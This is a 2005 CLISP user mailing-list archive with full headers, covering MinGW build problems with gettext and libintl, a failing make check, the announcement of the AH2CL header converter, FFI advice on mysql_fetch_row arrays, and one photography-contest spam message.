2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 4 03:25:56 2005 X-Original-Date: Fri, 04 Feb 2005 13:25:15 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-02-03 10:31:26 +0200]: > > > > "-DNO_GETTEXT" - this is normal? > > this is normal on win32. > look at config.log in your build directory > and search for "gettext". > you will see things like this: > > configure:5341: checking for GNU gettext in libc > configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 > conftest.c:14:21: libintl.h: No such file or directory > configure:5371: $? = 1 > Yes > configure:5808: checking for iconv > configure:5920: result: no, consider installing GNU libiconv > No: configure:5808: checking for iconv configure:5920: result: yes configure:5930: checking how to link with libiconv configure:5932: result: -liconv > configure:6319: checking for GNU gettext in libintl > configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c > -lintl >&5 > conftest.c:14:21: libintl.h: No such file or directory > No: configure:6319: checking for GNU gettext in libintl configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c -lintl >&5 Info: resolving __nl_msg_cat_cntr by linking to __imp___nl_msg_cat_cntr (auto-import) configure:6357: $? = 0 configure:6361: test -z || test ! -s conftest.err configure:6364: $? = 0 configure:6367: test -s conftest.exe configure:6370: $? = 0 configure:6442: result: yes configure:6474: checking how to link with libintl configure:6476: result: -lintl > i.e., there is no gettext available. > mingw (or gnuwin32) enclose port of gettext library for win. That's no good? > > I can change "User language"? > I guess not. > It depends only from gettext? > > And I not decide an issue "-I../" -> "-I..", but this probably > > gcc+mingw problem. > > you might want to just use mingw as distributed with cygwin. > Thanks. I like mingw. > > Configure with option --with-threads= with C_THREADS or WIN32_THREADS > > produces an error. This is not supported? > > no, threads are not supported (and never really worked). > would you like to work on this? > I'm sorry, I am not competent. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Feb 04 05:37:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cx3ef-0007RS-Ky for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 05:37:49 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cx3ed-0000sV-Vp for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 05:37:49 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j14Da7Wi005178; Fri, 4 Feb 2005 08:36:12 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42035B9B.5000804@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 04 Feb 2005 13:25:15 +0200") References: <42035B9B.5000804@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 4 05:38:24 2005 X-Original-Date: Fri, 04 Feb 2005 08:37:23 -0500 > * Yaroslav Kavenchuk [2005-02-04 13:25:15 +0200]: > >> configure:5341: checking for GNU gettext in libc >> configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 >> conftest.c:14:21: libintl.h: No such file or directory >> configure:5371: $? = 1 >> > Yes so libintl.h is not available! > configure:5930: checking how to link with libiconv > configure:5932: result: -liconv great! > configure:6474: checking how to link with libintl > configure:6476: result: -lintl how come intl.dll is there but libintl.h is not?! >> i.e., there is no gettext available. >> > mingw (or gnuwin32) enclose port of gettext library for win. That's no good? if libintl.h is not found, probably not. >> > I can change "User language"? >> I guess not. > It depends only from gettext? yes. >> > Configure with option --with-threads= with C_THREADS or WIN32_THREADS >> > produces an error. This is not supported? >> >> no, threads are not supported (and never really worked). >> would you like to work on this? >> > I'm sorry, I am not competent. too bad... -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From phil@nerim.net Fri Feb 04 06:06:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cx46b-0000SK-Ej for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 06:06:41 -0800 Received: from smtp-105-friday.noc.nerim.net ([62.4.17.105] helo=mallaury.noc.nerim.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cx46Z-0001LT-UD for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 06:06:41 -0800 Received: from grigri.elcforest (hocwp.net1.nerim.net [213.41.153.61]) by mallaury.noc.nerim.net (Postfix) with ESMTP id 233BA62DBB; Fri, 4 Feb 2005 15:06:36 +0100 (CET) Received: from phil by grigri.elcforest with local (Exim 4.34) id 1Cx46X-000130-G7; Fri, 04 Feb 2005 15:06:37 +0100 To: clisp-list@lists.sourceforge.net From: Philippe Brochard Organisation: None Message-ID: <87u0osju6r.fsf@grigri.elcforest> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Ah2cl Another Header To Common Lisp converter Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 4 06:06:57 2005 X-Original-Date: Fri, 04 Feb 2005 15:06:36 +0100 I've released AH2CL (Another Header To Common Lisp converter). It's a (very (very)) simple and naive C header parser. It produce (at the moment) ffi (foreign function interface) for clisp and/or for uffi (but callbacks are well tested only with clisp and cmucl). For details, see: http://hocwp.free.fr/ah2cl/ It is under the LLGPL licence and the produced code has no licence. As examples, I provide a little test and an OpenGL binding for CLisp and CMUCL (tested under GNU/Linux and Windows). I hope that can be useful... Best regards. -- Philippe Brochard http://hocwp.free.fr -=-= http://www.gnu.org/home.fr.html =-=- From kavenchuk@jenty.by Fri Feb 04 06:08:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cx48F-0000XI-VZ for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 06:08:23 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cx48F-0001eU-2z for clisp-list@lists.sourceforge.net; Fri, 04 Feb 2005 06:08:23 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 12RD1GP8; Fri, 4 Feb 2005 16:10:50 +0200 Message-ID: <420381F5.3040806@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How build clisp under mingw with gettext and module i18n? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 4 06:08:57 2005 X-Original-Date: Fri, 04 Feb 2005 16:08:53 +0200 Sam Steingold: > >> configure:5341: checking for GNU gettext in libc > >> configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2 > conftest.c >&5 > >> conftest.c:14:21: libintl.h: No such file or directory > >> configure:5371: $? = 1 > >> > > Yes > > so libintl.h is not available! > I'm sorry. No, libintl.h is available! configure:5341: checking for GNU gettext in libc configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 C:/Temp/ccCebaaa.o(.text+0x2a): In function `main': C:/gnu/home/clisp/clisp/build-full/conftest.c:22: undefined reference to `libintl_bindtextdomain' C:/Temp/ccCebaaa.o(.text+0x36):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: undefined reference to `libintl_gettext' C:/Temp/ccCebaaa.o(.text+0x53):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: undefined reference to `libintl_ngettext' C:/Temp/ccCebaaa.o(.text+0x5a):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: undefined reference to `_nl_domain_bindings' C:/Temp/ccCebaaa.o(.text+0x60):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: undefined reference to `_nl_msg_cat_cntr' collect2: ld returned 1 exit status configure:5371: $? = 1 configure: failed program was: ... but not work correctly > > configure:5930: checking how to link with libiconv > > configure:5932: result: -liconv > great! > > > configure:6474: checking how to link with libintl > > configure:6476: result: -lintl > > how come intl.dll is there but libintl.h is not?! > > >> i.e., there is no gettext available. > >> > > mingw (or gnuwin32) enclose port of gettext library for win. That's > no good? > > if libintl.h is not found, probably not. > libintl.h is found > >> > Configure with option --with-threads= with C_THREADS or > WIN32_THREADS > >> > produces an error. This is not supported? > >> > >> no, threads are not supported (and never really worked). > >> would you like to work on this? > >> > > I'm sorry, I am not competent. > > too bad... > may be -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Feb 07 23:49:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CyQ7I-0003Cd-TH for clisp-list@lists.sourceforge.net; Mon, 07 Feb 2005 23:49:00 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CyQ7F-0007GG-19 for clisp-list@lists.sourceforge.net; Mon, 07 Feb 2005 23:49:00 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 13XBB0S9; Tue, 8 Feb 2005 09:51:20 +0200 Message-ID: <42086F02.7050403@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] test fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 7 23:50:12 2005 X-Original-Date: Tue, 08 Feb 2005 09:49:22 +0200 clisp from cvs head win2k, mingw $ gcc --version gcc.exe (GCC) 3.4.2 (mingw-special) Copyright (C) 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. build clisp: $ ./configure --with-mingw --build build-full test: $ make check ... cmp -s config.fas stage/config.fas || (echo "Test failed." ; exit 1) echo "Test passed." Test passed. rm -f fresh-line.out lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x '(progn (dolist (s (quote (*terminal-io* *standard-output* *error-output* *query-io* *debug-io* *trace-output*))) (format t "~S = ~S~%" s (symbol-value s))) (values))' 2>&1 > fresh-line.out lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x '(progn (format *terminal-io* "~&Line1 to *terminal-io*") (format *terminal-io* "~&Line2 to *terminal-io*") (values))' 2>&1 >> fresh-line.out *** - WRITE-CHAR on # is illegal make: *** [check-fresh-line] Error 1 -- WBR, Yaroslav Kavenchuk. From publishing@theglobaldomain.com Tue Feb 08 00:04:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CyQMa-0003fN-2o for clisp-list@lists.sourceforge.net; Tue, 08 Feb 2005 00:04:48 -0800 Received: from smtp-out1.blueyonder.co.uk ([195.188.213.4]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CyQMX-0007Sv-Dh for clisp-list@lists.sourceforge.net; Tue, 08 Feb 2005 00:04:48 -0800 Received: from lists.sourceforge.net ([82.46.137.110]) by smtp-out1.blueyonder.co.uk with Microsoft SMTPSVC(5.0.2195.6713); Tue, 8 Feb 2005 08:05:16 +0000 Content-Type: text/plain; charset="US-ASCII" To: clisp-list@lists.sourceforge.net From: publishing@theglobaldomain.com X-Mailer: Version 5.0 Organization: The Global Domain Message-ID: X-OriginalArrivalTime: 08 Feb 2005 08:05:16.0905 (UTC) FILETIME=[ECDC1D90:01C50DB4] X-Spam-Score: 3.9 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.8 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: theglobaldomain.com] Subject: [clisp-list] How to get people bragging about your photography... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 8 00:05:40 2005 X-Original-Date: Tue, 8 Feb 2005 08:04:43 +0000 Dear Friend Just to let you know, a new, Free e-book is available giving you some excellent tips on how to improve your photography. To get your copy of this free e-book, all you have to do is email publishing@theglobaldomain.com, With 'FREE PHOTOGRAPHY TIPS' as the subject header. By ordering your book today, you also reserve your place in the Worldwide Amateur Photography Competition, with a 1st prize of £3000. The winner(s) will be decided by Richard Frieders, President of the Photographic Society of America and the closing date is the 31st of March. There is no set theme to the competition. Just send a maximum of 3 photos to mailto:photography@theglobaldomain.com. Just make sure that the content of the pictures have not been manipulated in any way by computer (colour enhancement etc. is fine). For full terms, please visit the website http://www.theglobaldomain.com, or email us and we'll send you a copy. Good Luck!!! The Photography Team @TheGlobalDomain Tel: 0044 +(0)121 246 346 0 P.S. The closing date is only weeks away so get your entries in early to stand a chance of winning. P.P.S. All entries will receive a confirmation email confirming receipt of your entry. If you don't receive one within 48 hours, please do resend. Oh, and call if you have any problems. From kavenchuk@jenty.by Wed Feb 09 01:17:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CynyE-0001kv-Ae for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 01:17:14 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CynyC-0003l4-Ht for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 01:17:14 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 13XBCBVJ; Wed, 9 Feb 2005 11:19:37 +0200 Message-ID: <4209D532.8050208@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] build error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 01:18:25 2005 X-Original-Date: Wed, 09 Feb 2005 11:17:38 +0200 win2k+mingw+gcc3.4.2 build clisp from cvs head: $ ./configure --with-mingw --build build-full ... gcc -mno-cygwin -E `if test true = true; then echo '-DASM_UNDERSCORE'; fi` ../../ffcall/avcall/avcall-i386-macro.S | grep -v '^ *#line' | grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% ,%,g' -e 's,\. ,.,g' > avcall-i386.s /bin/sh ./libtool --mode=compile gcc -mno-cygwin -x none -c avcall-i386.s ./libtool: line 6495: syntax error: unexpected end of file make: *** [avcall-i386.lo] Error 2 but do not stop This is normal? -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 09 03:19:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CypsA-0006q8-SC for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 03:19:06 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cyps8-0007oW-5L for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 03:19:06 -0800 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 9 Feb 2005 11:43:28 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1P3N7PQB>; Wed, 9 Feb 2005 11:42:31 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333E5EA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jwebsmall@cox.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Clisp FFI question: variable length arrays returned from C fu nction that are not null terminated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 03:20:23 2005 X-Original-Date: Wed, 9 Feb 2005 11:42:31 +0100 Hi, John Small [mailto:jwebsmall@cox.net] wrote: >Hi Joerg, Bruno, Please send such stuff fo clisp-list directly, where it gets archived, = becomes searchable for everyone and more people get a change to answer. =20 >The mysql fetch row function returns a variable length array of = strings: > char ** mysql_fetch_row(result) [...] >So I defined my call out as > (FFI:DEF-CALL-OUT mysql_fetch_row > ... > (:return-type ffi:c-pointer)) >But then when I go to access row > (setf row (mysql_fetch_row result)) >since row is a foreign address and not a place I'm stuck and can't use >any of the cast , offset, etc. macros. >[...]which is similar to your article on compression. Ah, you read some of my stuff. Good! You indeed need to move from a pointer to a place. o WITH-FOREIGN-OBJECT / WITH-C-VAR is one of your friends here: you can = use it to allocate a pointer on the stack initialized to your pointer, = then cast that to the correct type. (with-c-var (p 'c-pointer row-pointer) (offset p `(c-array c-string ,actual-size) 0) o You can use (:return-type (ffi:c-pointer (c-string))) ; limited = declaration returning a single string or (ffi:c-pointer (c-array c-string 1)) which will yield a FOREIGN-VARIABLE object, which makes casting (offset = 0 trick) to an array of strings more direct than the above, with the = help of WITH-C-PLACE. o You can use the FOREIGN-VARIABLE constructor to create the = foreign-variable object out of the foreign-pointer, then apply = WITH-C-PLACE. Oddly, this constructor is not documented. I thought I had added it to = CVS?!? Which you choose may depend on your needs, e.g. whether to dereference = the whole array at once or only a few elements. Regards, J=F6rg H=F6hle. From kavenchuk@jenty.by Wed Feb 09 04:04:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CyqaK-0000VG-SC for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 04:04:44 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CyqaI-0003kV-OT for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 04:04:44 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 13XBCCAL; Wed, 9 Feb 2005 14:07:11 +0200 Message-ID: <4209FC78.6090900@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build error References: <4209D532.8050208@jenty.by> In-Reply-To: <4209D532.8050208@jenty.by> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 04:05:47 2005 X-Original-Date: Wed, 09 Feb 2005 14:05:12 +0200 I am sorry. Error false (the wrong source code was for me). -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Wed Feb 09 06:08:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CysVj-0005v5-PF for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 06:08:07 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CysVh-0007ys-SE for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 06:08:07 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1CysTx-00052A-6C for clisp-list@lists.sourceforge.net; Wed, 09 Feb 2005 15:06:17 +0100 Received: from 66-117-162-83.dls.net ([66.117.162.83]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 09 Feb 2005 15:06:17 +0100 Received: from dietz by 66-117-162-83.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 09 Feb 2005 15:06:17 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 53 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 66-117-162-83.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner: Found to be clean X-MailScanner-From: lisp-clisp-list@m.gmane.org X-MailScanner-To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] build failure in i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 9 06:10:03 2005 X-Original-Date: Wed, 09 Feb 2005 08:07:38 -0600 From cvs head: [...] chmod a-x lisp.o ar rcv lisp.a lisp.o a - lisp.o rm -f lisp.o ranlib lisp.a gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c noreadline.c noreadline.d: In function `rl_named_function': noreadline.d:43: warning: return from incompatible pointer type ar rcv libnoreadline.a noreadline.o a - noreadline.o ranlib libnoreadline.a sed -e 's%@with_dynamic_modules@%no%' -e 's%@createsharedlib@%%' -e 's%@LEXE@%.run%' < ../src/clisp-link.in > clisp-link chmod a+x clisp-link gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI 